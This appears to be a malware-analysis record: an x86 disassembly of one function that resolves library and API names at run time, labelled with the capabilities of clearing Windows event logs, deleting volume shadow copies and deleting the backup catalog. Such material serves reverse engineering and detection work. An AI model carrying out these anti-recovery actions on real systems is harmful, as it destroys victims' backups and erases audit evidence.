Function at 0x42e730
Capabilities:
Clear windows event logs
Delete volume shadow copies
Delete windows backup catalog

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
lea eax, [esp - 0xb8]
cmp eax, dword [ecx + 8]
jbe 0x42edf6
sub esp, 0x138
mov dword [esp + 0x4c], 0x6e72656b
lea edi, [esp + 0x4d]
lea esi, [0x55e531]
call fcn.0045fb72
mov eax, dword [sym.imp.kernel32.dll_LoadLibraryA]
lea ecx, [esp + 0x4c]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00430e10
mov eax, dword [esp + 8]
test eax, eax
je 0x42eddf
mov dword [esp + 0x1c], eax
lea edi, [esp + 0x95]
lea esi, [0x55ee3b]
call fcn.0045fb68
mov dword [esp], eax
lea ecx, [esp + 0x95]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
mov dword [esp + 0xc], 0x10
call fcn.0042e510
mov eax, dword [0x67e2d0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42e7db
mov dword [0x6575f8], ecx
jmp 0x42e7e8
lea edi, [0x6575f8]
mov eax, ecx
call fcn.0045f450
mov dword [esp + 0x11d], 0x56646441
lea edi, [esp + 0x120]
lea esi, [0x5628ce]
call fcn.0045fb54
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
lea ecx, [esp + 0x11d]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], 0x1b
call fcn.0042e510
mov eax, dword [0x67e2d0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42e842
mov dword [0x6575fc], ecx
jmp 0x42e84f
lea edi, [0x6575fc]
mov eax, ecx
call fcn.0045f450
mov dword [esp + 0x76], 0x64616f4c
lea edi, [esp + 0x79]
lea esi, [0x55eb29]
call fcn.0045fb72
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
lea ecx, [esp + 0x76]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0xf
mov dword [esp + 0xc], 0xf
call fcn.0042e510
mov eax, dword [0x67e2d0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42e8a0
mov dword [0x657604], ecx
jmp 0x42e8ad
lea edi, [0x657604]
mov eax, ecx
call fcn.0045f450
mov dword [esp + 0x67], 0x64616f4c
lea edi, [esp + 0x6a]
lea esi, [0x55eb38]
call fcn.0045fb72
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
lea ecx, [esp + 0x67]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0xf
mov dword [esp + 0xc], 0xf
call fcn.0042e510
mov eax, dword [0x67e2d0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42e8fe
mov dword [0x657608], ecx
jmp 0x42e90b
lea edi, [0x657608]
mov eax, ecx
call fcn.0045f450
test ecx, ecx
je 0x42e926
mov eax, dword [0x657604]
test eax, eax
je 0x42e926
mov eax, dword [0x6575f8]
test eax, eax
setne al
jmp 0x42e928
xor eax, eax
mov byte [0x67e094], al
mov dword [esp + 0x3f], 0x61766461
lea edi, [esp + 0x40]
lea esi, [0x55e4af]
call fcn.0045fb72
lea eax, [esp + 0x3f]
mov dword [esp], eax
mov dword [esp + 4], 0xd
mov dword [esp + 8], 0xd
call fcn.0042e590
mov eax, dword [esp + 0xc]
test eax, eax
je 0x42edc9
mov dword [esp + 0xc7], 0x74737953
lea edi, [esp + 0xc9]
lea esi, [0x55f853]
call fcn.0045fb68
mov dword [esp], eax
lea eax, [esp + 0xc7]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x12
mov dword [esp + 0xc], 0x12
call fcn.0042e510
mov eax, dword [0x67e2d0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42e9c3
mov dword [0x657618], ecx
jmp 0x42e9d0
lea edi, [0x657618]
mov eax, ecx
call fcn.0045f450
mov dword [esp + 0x2a], 0x6c64746e
mov dword [esp + 0x2c], 0x2e6c6c64
mov dword [esp + 0x30], 0x6c6c64
lea eax, [esp + 0x2a]
mov dword [esp], eax
mov dword [esp + 4], 0xa
mov dword [esp + 8], 0xa
call fcn.0042e590
mov eax, dword [esp + 0xc]
test eax, eax
je 0x42edb3
mov dword [esp + 0x14], eax
mov dword [esp + 0xd9], 0x6157744e
lea edi, [esp + 0xdb]
lea esi, [0x560e41]
call fcn.0045fb5e
mov dword [esp], eax
lea ecx, [esp + 0xd9]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x16
mov dword [esp + 0xc], 0x16
call fcn.0042e510
mov eax, dword [0x67e2d0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42ea6a
mov dword [0x65760c], ecx
jmp 0x42ea77
lea edi, [0x65760c]
mov eax, ecx
call fcn.0045f450
mov dword [esp + 0xb6], 0x476c7452
lea edi, [esp + 0xb7]
lea esi, [0x55f382]
call fcn.0045fb68
mov eax, dword [esp + 0x14]
mov dword [esp], eax
lea ecx, [esp + 0xb6]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x11
mov dword [esp + 0xc], 0x11
call fcn.0042e510
mov eax, dword [0x67e2d0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42ead1
mov dword [0x65761c], ecx
jmp 0x42eade
lea edi, [0x65761c]
mov eax, ecx
call fcn.0045f450
mov dword [esp + 0x106], 0x476c7452
lea edi, [esp + 0x109]
lea esi, [0x5614cd]
call fcn.0045fb5e
mov eax, dword [esp + 0x14]
mov dword [esp], eax
lea ecx, [esp + 0x106]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x17
mov dword [esp + 0xc], 0x17
call fcn.0042e510
mov eax, dword [0x67e2d0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42eb38
mov dword [0x657620], ecx
jmp 0x42eb45
lea edi, [0x657620]
mov eax, ecx
call fcn.0045f450
mov dword [esp + 0x20], 0x6d6e6977
mov dword [esp + 0x22], 0x2e6d6d6e
mov dword [esp + 0x26], 0x6c6c64
lea eax, [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 4], 0xa
mov dword [esp + 8], 0xa
call fcn.0042e590
mov eax, dword [esp + 0xc]
test eax, eax
je 0x42ed9d
mov dword [esp + 0x18], eax
lea edi, [esp + 0x85]
lea esi, [0x55f1eb]
call fcn.0045fb68
mov dword [esp], eax
lea ecx, [esp + 0x85]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
mov dword [esp + 0xc], 0x10
call fcn.0042e510
mov eax, dword [0x67e2d0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42ebd4
mov dword [0x657628], ecx
jmp 0x42ebe1
lea edi, [0x657628]
mov eax, ecx
call fcn.0045f450
mov dword [esp + 0x59], 0x656d6974
lea edi, [esp + 0x5b]
lea esi, [0x55e970]
call fcn.0045fb72
mov eax, dword [esp + 0x18]
mov dword [esp], eax
lea eax, [esp + 0x59]
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [esp + 0xc], 0xe
call fcn.0042e510
mov eax, dword [0x67e2d0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42ec32
mov dword [0x65762c], ecx
jmp 0x42ec3f
lea edi, [0x65762c]
mov eax, ecx
call fcn.0045f450
mov eax, dword [0x657628]
test eax, eax
je 0x42ed87
test ecx, ecx
je 0x42ed87
mov dword [esp + 0x34], 0x5f327377
mov dword [esp + 0x37], 0x2e32335f
mov dword [esp + 0x3b], 0x6c6c64
lea eax, [esp + 0x34]
mov dword [esp], eax
mov dword [esp + 4], 0xb
mov dword [esp + 8], 0xb
call fcn.0042e590
mov eax, dword [esp + 0xc]
test eax, eax
je 0x42ed71
mov dword [esp + 0xef], 0x47415357
lea edi, [esp + 0xf2]
lea esi, [0x561585]
call fcn.0045fb5e
mov dword [esp], eax
lea eax, [esp + 0xef]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x17
mov dword [esp + 0xc], 0x17
call fcn.0042e510
mov eax, dword [0x67e2d0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42eceb
mov dword [0x657624], ecx
jmp 0x42ecf8
lea edi, [0x657624]
mov eax, ecx
call fcn.0045f450
test ecx, ecx
je 0x42ed5b
mov dword [esp + 0xa5], 0x656e6977
lea edi, [esp + 0xa6]
lea esi, [0x55f66e]
call fcn.0045fb68
mov eax, dword [esp + 0x14]
mov dword [esp], eax
lea eax, [esp + 0xa5]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x11
mov dword [esp + 0xc], 0x11
call fcn.0042e510
mov eax, dword [esp + 0x10]
test eax, eax
je 0x42ed54
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call fcn.0042f6d0
add esp, 0x138
ret
lea eax, [0x56406d]
mov dword [esp], eax
mov dword [esp + 4], 0x20
call fcn.00433a80
lea eax, [0x5606cd]
mov dword [esp], eax
mov dword [esp + 4], 0x14
call fcn.00433a80
lea eax, [0x5636e4]
mov dword [esp], eax
mov dword [esp + 4], 0x1d
call fcn.00433a80
lea eax, [0x5601bb]
mov dword [esp], eax
mov dword [esp + 4], 0x13
call fcn.00433a80
lea eax, [0x55ffcd]
mov dword [esp], eax
mov dword [esp + 4], 0x13
call fcn.00433a80
lea eax, [0x560f05]
mov dword [esp], eax
mov dword [esp + 4], 0x16
call fcn.00433a80
lea eax, [0x561065]
mov dword [esp], eax
mov dword [esp + 4], 0x16
call fcn.00433a80
nop
call fcn.0045e080
jmp fcn.0042e730